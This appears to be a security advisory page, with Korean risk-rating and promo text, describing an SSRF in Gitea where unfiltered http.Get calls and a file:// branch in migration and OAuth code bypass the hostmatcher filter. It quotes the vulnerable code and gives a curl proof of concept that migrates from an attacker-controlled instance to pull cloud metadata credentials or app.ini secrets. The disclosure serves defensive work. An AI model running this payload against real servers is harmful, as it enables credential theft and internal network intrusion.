Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata
위협 신호 · CVSS · EPSS · KEV
정기 패치· 높은 악용 신호 없음
CVSS
—medium
이론적 심각도 점수
EPSS
—예측 데이터 없음
KEV
미등재실측 악용 기록 없음
권장 대응 기한60일 이내CISA SSVC 기준
계획된 패치 주기 내 조치(60일 이내)
외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Summary
Gitea has robust SSRF protection via hostmatcher.NewDialContext() for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw http.Get() (Go's DefaultClient) which completely bypasses this protection, enabling SSRF to internal services and local file read via the file:// scheme.
Vulnerable Code
File: modules/uri/uri.go (line 32) -- Core vulnerability
text
1func Open(uriStr string) (io.ReadCloser, error) { 2 u, err := url.Parse(uriStr) 3 switch strings.ToLower(u.Scheme) { 4 case "http", "https": 5 f, err := http.Get(uriStr) // RAW http.Get -- no hostmatcher filtering 6 return f.Body, nil 7 case "file": 8 return os.Open(u.Path) // LOCAL FILE READ via file:// scheme 9 }10}Callers in migration path:
services/migrations/gitea_uploader.go:340--uri.Open(*asset.DownloadURL)for release assetsservices/migrations/gitea_uploader.go:586--uri.Open(pr.PatchURL)for PR patches
File: services/migrations/dump.go (lines 312, 453)
text
1// Line 312 -- release asset download 2resp, err := http.Get(*asset.DownloadURL) 3 4// Line 453 -- PR patch download (with self-documenting TODO) 5resp, err := http.Get(u) // TODO: This probably needs to use the downloaderFile: routers/web/auth/oauth.go (line 306)
text
1func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) { 2 resp, err := http.Get(url) // RAW http.Get -- no hostmatcherContrast with protected migration clone (same codebase):
text
1// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher 2transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...)PoC
bash
1# Step 1: Set up attacker Gitea instance with malicious release asset URLs 2# Create a repo on evil.gitea.attacker.com with a release asset whose 3# download_url points to internal services: 4 5# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role 6# Or: file:///etc/gitea/app.ini (local file read) 7 8# Step 2: Admin triggers migration from attacker's Gitea instance 9curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \10 -H "Authorization: token ADMIN_API_TOKEN" \11 -H "Content-Type: application/json" \12 -d '{13 "clone_addr": "https://evil.gitea.attacker.com/user/repo.git",14 "repo_name": "migrated-repo",15 "repo_owner": "admin",16 "service": "gitea"17 }'18 19# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()20# Cloud metadata is saved as the release asset attachment in the migrated repo21# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme22 23# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data24curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt"Impact
- Cloud metadata theft:
169.254.169.254reachable via unfilteredhttp.Get()(AWS IMDSv1 credentials, GCP tokens) - Local file read:
file://scheme inuri.Open()reads/etc/gitea/app.ini(database credentials, JWT signing secrets, SMTP passwords) - Internal service scanning: Reach
127.0.0.1,10.x,172.16-31.x,192.168.xnetworks - Bypasses existing SSRF protection: The
hostmatcherdialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected - Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.